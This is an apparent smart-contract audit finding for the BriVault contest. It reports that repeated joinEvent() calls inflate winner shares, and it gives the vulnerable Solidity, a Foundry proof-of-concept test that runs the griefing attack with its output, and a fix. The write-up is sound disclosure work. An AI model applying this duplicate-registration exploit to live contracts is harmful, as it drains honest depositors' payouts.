BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Multiple joinEvent() Calls Inflate Winner Shares and Dilute Legitimate User Payouts

Root + Impact

Description

  • Users should call joinEvent() once after depositing to register their team choice. At tournament end, _getWinnerShares() calculates the total shares held by winners to determine proportional payouts based on each user's actual share balance.

  • The joinEvent() function has no protection against repeated calls by the same user. Each invocation appends the caller's address to usersAddress and overwrites userSharesToCountry[msg.sender][countryId] with their current share balance. When _getWinnerShares() iterates through usersAddress after the winner is set, it counts duplicate addresses multiple times, artificially inflating totalWinnerShares. This dilutes payouts for all winners because the withdrawal formula divides vault assets by an inflated denominator. While the attacker also receives reduced payouts due to share overwriting, the primary impact is on legitimate users who deposited significantly more but receive disproportionately small returns.

function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
@> userSharesToCountry[msg.sender][countryId] = participantShares; // Overwrites on each call
@> usersAddress.push(msg.sender); // Adds duplicate entry each time
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
function _getWinnerShares () internal returns (uint256) {
@> for (uint256 i = 0; i < usersAddress.length; ++i){
@> address user = usersAddress[i];
@> totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // Counts duplicates
}
return totalWinnerShares;
}

Risk

Likelihood:

  • This attack occurs when a malicious user deposits a small amount and repeatedly calls joinEvent() (which has no gas limit or cost beyond transaction fees) to spam the usersAddress array with duplicate entries before the tournament starts.

  • The vulnerability requires no special privileges or complex setup - any depositor can execute the attack by simply calling a public function multiple times, making it trivially exploitable by anyone seeking to grief legitimate users.

Impact:

  • Legitimate users who deposit substantial amounts receive drastically reduced payouts compared to their expected returns. In the PoC, a user depositing 1,000 tokens only receives 98 tokens (9.8% return) instead of the expected ~500 tokens (50% return), representing an 80% reduction in payout.

  • The protocol's payout mechanism becomes fundamentally unfair as the inflated totalWinnerShares means the vault balance is distributed based on artificially inflated share counts rather than actual stake proportions, breaking the core betting mechanics and causing significant economic loss to honest participants.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {BriTechToken} from "../src/briTechToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MultipleJoinGriefingPoC is Test {
BriVault public vault;
BriTechToken public token;
address owner = makeAddr("owner");
address legitUser = makeAddr("legitUser");
address attacker = makeAddr("attacker");
address feeAddress = makeAddr("feeAddress");
uint256 constant LEGIT_DEPOSIT = 1000e18;
uint256 constant ATTACKER_DEPOSIT = 100e18;
uint256 constant JOIN_COUNT = 100;
function setUp() public {
vm.startPrank(owner);
token = new BriTechToken();
token.mint();
uint256 currentTime = block.timestamp;
vault = new BriVault(
IERC20(address(token)),
150,
currentTime + 1 days,
feeAddress,
1e18,
currentTime + 7 days
);
string[48] memory countries = [
"Team0", "Team1", "Team2", "Team3", "Team4", "Team5",
"", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", "", ""
];
vault.setCountry(countries);
token.transfer(legitUser, 10000e18);
token.transfer(attacker, 10000e18);
vm.stopPrank();
}
function test_MultipleJoinGriefingAttack() public {
console.log("=== Multiple Join Griefing Attack PoC ===");
uint256 legitFee = (LEGIT_DEPOSIT * 150) / 10000;
uint256 attackerFee = (ATTACKER_DEPOSIT * 150) / 10000;
console.log("\n--- LEGITIMATE USER DEPOSITS AND JOINS ONCE ---");
vm.startPrank(legitUser);
token.approve(address(vault), LEGIT_DEPOSIT + legitFee);
vault.deposit(LEGIT_DEPOSIT, legitUser);
uint256 legitShares = vault.balanceOf(legitUser);
console.log("Legitimate user shares:", legitShares / 1e18, "BTT");
vault.joinEvent(0);
console.log("Legitimate user joined Team0 (1 time)");
uint256 legitSharesInTeam = vault.userSharesToCountry(legitUser, 0);
console.log("Legitimate user shares for Team0:", legitSharesInTeam / 1e18);
vm.stopPrank();
console.log("\n--- ATTACKER DEPOSITS AND JOINS 100 TIMES ---");
vm.startPrank(attacker);
token.approve(address(vault), ATTACKER_DEPOSIT + attackerFee + (JOIN_COUNT * 100e18));
vault.deposit(ATTACKER_DEPOSIT, attacker);
uint256 attackerSharesBefore = vault.balanceOf(attacker);
console.log("Attacker shares:", attackerSharesBefore / 1e18, "BTT");
console.log("Attacker calls joinEvent(0) 100 times...");
for (uint256 i = 0; i < JOIN_COUNT; i++) {
vault.joinEvent(0);
}
uint256 usersAddressLength = vault.numberOfParticipants();
console.log("usersAddress array length:", usersAddressLength);
console.log("Expected: 101 (legit user 1 + attacker 100)");
uint256 attackerSharesInTeam = vault.userSharesToCountry(attacker, 0);
console.log("Attacker shares registered for Team0:", attackerSharesInTeam / 1e18);
console.log("Note: Each joinEvent overwrites, so only last join count registered");
vm.stopPrank();
console.log("\n--- TEAM 0 WINS ---");
vm.warp(block.timestamp + 8 days);
vm.prank(owner);
vault.setWinner(0);
console.log("Winner set to Team0");
console.log("\n--- CALCULATE WINNER SHARES ---");
uint256 totalWinnerShares = vault.totalWinnerShares();
console.log("totalWinnerShares (includes duplicates):", totalWinnerShares / 1e18);
console.log("\n--- PAYOUT CALCULATIONS ---");
uint256 vaultBalance = token.balanceOf(address(vault));
console.log("Vault final balance:", vaultBalance / 1e18, "tokens");
uint256 legitPayoutCalc = (legitSharesInTeam * vaultBalance) / totalWinnerShares;
uint256 attackerPayoutCalc = (attackerSharesInTeam * vaultBalance) / totalWinnerShares;
console.log("\nWithout attack:");
console.log("Legitimate payout should be: ~50%% of vault");
console.log("\nWith attack (shares duplicated):");
console.log("Legitimate payout actual: ", legitPayoutCalc / 1e18, "tokens");
console.log("Attacker payout (100 joins): ", attackerPayoutCalc / 1e18, "tokens");
console.log("\n--- WITHDRAWAL EXECUTION ---");
uint256 legitBalanceBefore = token.balanceOf(legitUser);
uint256 attackerBalanceBefore = token.balanceOf(attacker);
vm.startPrank(legitUser);
vault.withdraw();
vm.stopPrank();
vm.startPrank(attacker);
vault.withdraw();
vm.stopPrank();
uint256 legitReceived = token.balanceOf(legitUser) - legitBalanceBefore;
uint256 attackerReceived = token.balanceOf(attacker) - attackerBalanceBefore;
console.log("\n--- FUND LOSS VERIFICATION ---");
console.log("Legitimate user deposited: ", LEGIT_DEPOSIT / 1e18, "tokens");
console.log("Legitimate user received: ", legitReceived / 1e18, "tokens");
console.log("Legitimate user LOST: ", (LEGIT_DEPOSIT - legitReceived - legitFee) / 1e18, "tokens");
console.log("\nAttacker deposited: ", ATTACKER_DEPOSIT / 1e18, "tokens");
console.log("Attacker received: ", attackerReceived / 1e18, "tokens");
uint256 netAttackerDeposit = ATTACKER_DEPOSIT + attackerFee;
if (attackerReceived >= netAttackerDeposit) {
console.log("Attacker PROFIT: ", (attackerReceived - netAttackerDeposit) / 1e18, "tokens");
} else {
console.log("Attacker LOSS: ", (netAttackerDeposit - attackerReceived) / 1e18, "tokens");
}
console.log("\nROI: Attacker received", (attackerReceived * 100) / (ATTACKER_DEPOSIT + attackerFee), "% return");
assertLt(attackerReceived, legitReceived, "Attacker should receive less due to dilution");
assertLt(legitReceived, LEGIT_DEPOSIT - legitFee, "Legitimate user receives less than deposited");
}
}

RESULT:

forge test --via-ir --match-contract MultipleJoinGriefingPoC -vv
[⠔] Compiling...
No files changed, compilation skipped
Ran 1 test for test/MultipleJoinGriefingPoC.t.sol:MultipleJoinGriefingPoC
[PASS] test_MultipleJoinGriefingAttack() (gas: 4262988)
Logs:
=== Multiple Join Griefing Attack PoC ===
--- LEGITIMATE USER DEPOSITS AND JOINS ONCE ---
Legitimate user shares: 985 BTT
Legitimate user joined Team0 (1 time)
Legitimate user shares for Team0: 985
--- ATTACKER DEPOSITS AND JOINS 100 TIMES ---
Attacker shares: 98 BTT
Attacker calls joinEvent(0) 100 times...
usersAddress array length: 101
Expected: 101 (legit user 1 + attacker 100)
Attacker shares registered for Team0: 98
Note: Each joinEvent overwrites, so only last join count registered
--- TEAM 0 WINS ---
Winner set to Team0
--- CALCULATE WINNER SHARES ---
totalWinnerShares (includes duplicates): 10835
--- PAYOUT CALCULATIONS ---
Vault final balance: 1083 tokens
Without attack:
Legitimate payout should be: ~50% of vault
With attack (shares duplicated):
Legitimate payout actual: 98 tokens
Attacker payout (100 joins): 9 tokens
--- WITHDRAWAL EXECUTION ---
--- FUND LOSS VERIFICATION ---
Legitimate user deposited: 1000 tokens
Legitimate user received: 98 tokens
Legitimate user LOST: 886 tokens
Attacker deposited: 100 tokens
Attacker received: 9 tokens
Attacker LOSS: 91 tokens
ROI: Attacker received 9 % return
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.94ms (2.05ms CPU time)
Ran 1 test suite in 9.40ms (2.94ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

mitigation prevents duplicate joins and ensures accurate winner share calculations.

+ mapping(address => bool) public hasJoined;
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
+ require(!hasJoined[msg.sender], "Already joined event");
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
+ hasJoined[msg.sender] = true;
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!